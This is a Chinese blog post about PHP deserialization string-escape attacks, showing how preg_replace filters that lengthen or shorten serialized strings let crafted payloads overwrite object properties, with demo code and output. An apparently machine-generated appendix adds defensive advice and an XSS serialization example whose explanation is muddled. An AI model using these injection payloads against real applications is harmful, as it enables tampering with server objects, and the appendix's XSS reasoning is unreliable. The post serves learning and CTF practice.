PHP反序列化字符串逃逸

本文介绍了PHP中的字符串逃逸技术,包括减少和增多字符串的方法。通过preg_replace函数,改变序列化字符串内容,实现反序列化时对对象属性的操控。示例中展示了如何利用字符串增多来修改类实例的属性值,以及如何通过字符串减少来实现同样的效果。文章详细阐述了构造序列化字符串的原理和步骤,对于理解PHP字符串操作和安全有重要参考价值。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

例题可看:https://www.cnblogs.com/v2ish1yan/articles/16118319.html

今天才学的,做个记录。

字符串逃逸分为两种,减少和增多。

主要是通过一个preg_replace()函数来进行字符串的减少和增多。

首先要知道逃逸的原理,就是反序列化时,是以}来进行结尾的,同时在字符串内,是以关键字后面的数字来规定所读取的内容的长度。

1.字符串增多

demo:

<?php
class A{
    public $a='q';
    public $b='21';

}
$a=new A;
var_dump($a);

得到结果为:

string(45) "O:1:"A":2:{s:1:"a";s:1:"q";s:1:"b";s:2:"21";}"

要将反序列后$b的值变为我们想要的值。

我们还要有一个关键的函数。

function filter($a){
    $filter='/q/i';
    return preg_replace($filter,'ww',$a);
}

这个就是将序列化后的值,将所有的'q'变为'ww'。

例子:

<?php
class A{
    public $a='qqqqqqq';
    public $b='21';

}function filter($a){
    $filter='/q/i';
    return preg_replace($filter,'ww',$a);
}
$a=new A;
var_dump(serialize($a));
echo'<pre>';
$r=filter(serialize($a));
var_dump($r);

得到:

假设我们想要$b=104,构造的$b的值的序列化后为:

";s:1:"b";s:3:"104";}
这里的";是用来闭合前面的,往下看就知道了

如何进行逃逸

我们先看看把上面的字符串加到$a后是什么样的。

 然后仔细看,如果我们把s:28后面的内容以字符串按要求填满了28个,那么s:1:"b";s:3:"104";}就会被包含在序列化字符串内。而}”后面的内容,即;s:1:"b";s:2:"21";}"就不会被认为是序列化字符串的内容,从而执行了我们构造的";s:1:"b";s:3:"104";},即让一个成员b的值为104。

然后进行构造:

在上面,只要让'w'字符的数量按要求达到s:后面所要求的的数量(28)即可。

但是我们要根据实际情况来选择构造多少个w。

因为在filter函数中,一个q被换成了两个w,所以让q的数量等于";s:1:"b";s:3:"104";}的字符串长度就行了。因为";s:1:"b";s:3:"104";} 的字符串长度为21,让q的数量为21,反序列化后a的值的长度为就是q的数量加上";s:1:"b";s:3:"104";}  的长度(42),在filter()之后,w的数量就是刚好42,而我们添加上去的字符串就会被逃逸出来,会在反序列化的时候成功执行。【文笔不好】

<?php
class A{
    public $a='qqqqqqqqqqqqqqqqqqqqq";s:1:"b";s:3:"104";}';
    public $b='21';

}function filter($a){
    $filter='/q/i';
    return preg_replace($filter,'ww',$a);
}
$a=new A;
var_dump(serialize($a));
echo'<pre>';
$r=filter(serialize($a));
var_dump($r);

得到

string(87) "O:1:"A":2:{s:1:"a";s:42:"qqqqqqqqqqqqqqqqqqqqq";s:1:"b";s:3:"104";}";s:1:"b";s:2:"21";}"

string(108) "O:1:"A":2:{s:1:"a";s:42:"wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww";s:1:"b";s:3:"104";}";s:1:"b";s:2:"21";}"

然后再进行反序列化就可以发现,$b的值变成了104。

接上面代码:

print_r(unserialize($r));

 总的就是说,让字符'w'占用了原本属于";s:1:"b";s:3:"104"}的位置,从而让";s:1:"b";s:3:"104"}逃逸出去而成功执行。

2.字符串减少

demo:

<?php
class A{
    public $a='qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq';
    public $b='20';

}
function filter($a){
    $filter='/qq/i';
    return preg_replace($filter,'w',$a);
}
$a=new A;
var_dump(serialize($a));
echo '<pre>';
$r=filter(serialize($a));
var_dump($r);

 由名字可知,这个就是让字符串变少。

那么要如何让字符串逃逸呢?

同上面字符串增加:如果要让$b=104,那么他的序列化后就是:";s:1:"b";s:3:"104";}

但是前面要加个东西,如:A";s:1:"b";s:3:"104";},那个A是用来闭合的。

我们先把$b=A";s:1:"b";s:3:"104";}

得到:

 这里可以看到,在序列化字符串里,有两个 s:1:"b",第一个是序列化得到的,第二个是我们自己构造的。

那么要如果让我们构造的104生效呢?

就要让s:1:"a":s:32:"读取到s:22:"A",这样s:22:"A就会变成$a的值了,后面的内容就可以执行,所以这个时候就要想如何使这些字符串在一个合理的数量了。

有filter可以知道,两个q会变成一个w,所以只要让w的个数等于黄色字符串的长度

"O:1:"A":2:{s:1:"a";s:44:"wwwwwwwwwwwwwwwwwwwwww";s:1:"b";s:22:"A";s:1:"b";s:3:"104";}";}"

这个黄色字符串长度为17,所以qq的数量就为17,就有34个q。

所以这样:

<?php
class A{
    public $a='qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq';
    public $b='A";s:1:"b";s:3:"104";}';

}
function filter($a){
    $filter='/qq/i';
    return preg_replace($filter,'w',$a);
}
$a=new A;
var_dump(serialize($a));
echo '<pre>';
$r=filter(serialize($a));
var_dump($r);
print_r(unserialize($r));

就可以得到

 看$b变成了104。

与字符串增加的区别:

1.字符串增加:构造的序列化加在qqqq(就是值有很多qqqq的)那个变量里。字符串减少:构造的序列化加在另一个变量里。

2.字符串增加:字符串'qqqqxxx'的数量依照构造的那个序列化字符串的长度。字符串减少:字符串'qqqqxxx'的数量依照"O:1:"A":2:{s:1:"a";s:44:"wwwwwwwwwwwwwwwwwwwwww";s:1:"b";s:22:"A";s:1:"b";s:3:"104";}";}"中黄色字符串的长度。(只能意会)(doge)

### PHP 反序列化中的字符逃逸与 XSS 攻击 #### 防御措施 为了防止通过反序列化操作引发的安全风险,尤其是针对XSS攻击,应当采取严格的输入验证机制。任何来自用户的输入都应被视作潜在威胁并加以过滤和消毒处理[^1]。 对于PHP应用程序而言,在接收外部传入的数据之前,应该先对其进行严格校验,确保其合法性后再考虑是否允许进入后续逻辑流程中;同时也要注意对敏感函数调用处做额外防护,比如禁用危险方法或属性设置只读权限等手段来减少可能存在的漏洞面[^2]。 另外一种有效的预防方式就是避免直接存储可执行代码片段于对象内部成员变量之中——这不仅能够有效阻止因意外情况而导致程序行为失常的现象发生,而且还可以大大降低由于设计缺陷所造成的安全隐患级别[^3]。 最后但同样重要的是保持框架版本更新至最新状态,并积极关注官方发布的安全公告以便及时修补已知问题[^4]。 ```php // 输入验证示例 function validateInput($input){ // 实现具体的验证逻辑... } $inputData = $_GET['data']; if (!validateInput($inputData)) { die('Invalid input'); } ``` #### 利用实例分析 尽管不推荐主动制造此类漏洞用于测试目的之外的情况,但在特定环境下理解这些技术细节有助于加深开发者对于安全性概念的认识程度以及提高修复能力水平。 考虑到实际场景应用时可能会遇到各种复杂状况,这里给出一个基于给定条件下的简单案例说明: 假设存在如下所示的一个异常类定义,其中包含了未经转义便直接嵌套HTML标签的内容作为消息参数传递给了构造器,则当该对象经过序列化之后再次被还原成原始形态之时就会触发浏览器端脚本执行环境内的弹窗警告事件。 ```php <?php class ExceptionWithHtmlMessage extends \Exception{ protected $message; public function __construct(string $msg){ parent::__construct(); $this->message=$msg; } } $a=new ExceptionWithHtmlMessage("<script>alert('xss')</script>"); $b=serialize($a); echo urlencode($b); // 输出编码后的字符串供进一步利用 ?> ``` 上述代码展示了如何创建含有恶意脚本的对象并通过`serialize()`将其转换为字符串形式输出。一旦此数据流重新加载回服务器端解析空间内完成重建动作后即刻激活预埋设好的JavaScript指令集从而实现跨站脚本注入效果。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

v2ish1yan

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值